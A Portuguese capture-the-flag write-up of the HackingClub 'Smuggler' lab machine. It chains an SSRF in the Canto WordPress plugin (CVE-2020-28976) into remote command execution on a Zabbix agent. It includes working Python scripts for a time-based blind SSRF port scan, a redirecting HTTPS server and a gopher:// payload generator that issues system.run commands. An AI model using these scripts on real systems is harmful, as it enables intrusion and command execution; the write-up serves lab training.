HackingClub Smuggler Write-up

Roberto Francisco

Write-up da maquina Smuggler do Hackingclub.

Roberto Francisco

4 min

A máquina Smuggler pertence ao Hackingclub, para poder ter acesso a essa máquina é necessário assinar o Hackingclub.

A máquina está classificada como nível Difícil e seu sistema operacional é Windows.

Reconhecimento

Primeira etapa é fazer o reconhecimento inicial de portas e serviços disponíveis no alvo. Para essa finalidade utilizaremos a ferramenta Nmap.

Nmap -sS -sV -v <IP>

Resultado:

Identificamos os serviços e as portas disponíveis, como também o nome do domínio smuggler.uhclabs.

Adicione no / etc /hosts.

Verificaremos o servidor web na porta 80.

Resultado:

Um sistema Wordpress executando no servidor.

Iniciaremos uma varredura por plugins instalado no Wordpress, utilizando a ferramenta wpscan.

O wpscan apresenta muitas informações, irei mostrar somente o necessário.

Resultado:

O plugin canto está desatualizado e possivelmente possui alguma vulnerabilidade.

Pesquisando no Google por “plugin canto 1.3.0” encontraremos a CVE-2020-28976.

Vamos verificar se a vulnerabilidade está disponível na máquina.

Iniciando um servidor http python.

Com o curl podemos enviar a requisição para o servidor.

Resultado:

Aparentemente chegou uma requisição criptografada, vamos tentar iniciar um servidor https com python.

Iniciamos um servidor https.

Resultado:

Com a vulnerabilidade SSRF podemos fazer varredura de portas no alvo, mas trata-se de um SSRF blind, ou seja, não obtemos nenhum tipo de resposta do servidor. Precisaremos analisar o comportamento da aplicação para encontrar um padrão.

Utilizando o python podemos medir quanto tempo leva para o servidor responder a requisição, sabendo que a porta 445 e 80 estão abertas podemos comparar o tempo de resposta de cada uma com portas fechadas.

Resultado:

Portas abertas são menores que 2.

Com essa informação podemos criar um script para executar uma varredura de portas baseada em tempo.

Script:


          
            #!/usr/bin/env python
          
          
            import requests
          
          
            
          
          
            url = 'http://smuggler.uhclabs/wp-content/plugins/canto/includes/lib/detail.php?subdomain=127.0.0.1:{}?'
          
          
            ports=[80,443,445,8080,3254,3005,9000,8000,4000,10050,1987,3302,3352,1000,7777]
          
          
            
          
          
            for port in ports:
          
          
                    payload=url.format(port)
          
          
                    req=requests.get(payload)
          
          
            
          
          
                    if(req.elapsed.total_seconds()< 2.00000 ):
          
          
                            print(" {} is OPEN".format(port))
          
          
            
          
          
                    else:
          
          
                            pass

Esse script será o responsável por encontrar portas abertas localmente no alvo.

Resultado:

Uma rápida pesquisada no Google e encontramos o possível serviço que está sendo executado na porta 10050.

Se conseguirmos redirecionar a requisição do servidor que vem via SSRF, podemos interagir com serviço do zabbix via protocol smuggling.

Precisaremos de dois scripts para isso.

1º script de servidor https que redireciona a requisição.


          
            from http.server import HTTPServer, BaseHTTPRequestHandler
          
          
            import ssl,urllib,base64
          
          
            
          
          
            payload=input("insira a payload: ")
          
          
            
          
          
            class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
          
          
                    def do_GET(self):
          
          
                            parsed = urllib.parse.urlparse(self.path)
          
          
                            self.send_response(302)
          
          
                            self.send_header('Location', payload)
          
          
                            self.end_headers()
          
          
            
          
          
            
          
          
            httpd = HTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
          
          
            
          
          
            httpd.socket = ssl.wrap_socket (httpd.socket, 
          
          
                    keyfile="key.pem", 
          
          
                    certfile='certificate.pem', server_side=True)
          
          
            
          
          
            
          
          
            
          
          
            httpd.serve_forever()

2º script que gera o payload para executar comando no zabbix.


          
            import struct
          
          
            import urllib.parse
          
          
            import sys
          
          
            
          
          
            header = "ZBXD\x01"
          
          
            comando = sys.argv[1]
          
          
            key = f'system.run[({comando})]'
          
          
            
          
          
            payload="gopher://127.0.0.1:10050/_".strip()
          
          
            payload+=urllib.parse.quote_plus(header).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":").strip()
          
          
            payload+=urllib.parse.quote_plus(struct.pack("<Q", len(key)+2).decode()).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":").strip()
          
          
            payload+=urllib.parse.quote_plus(key).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":").strip()
          
          
            
          
          
            print(payload)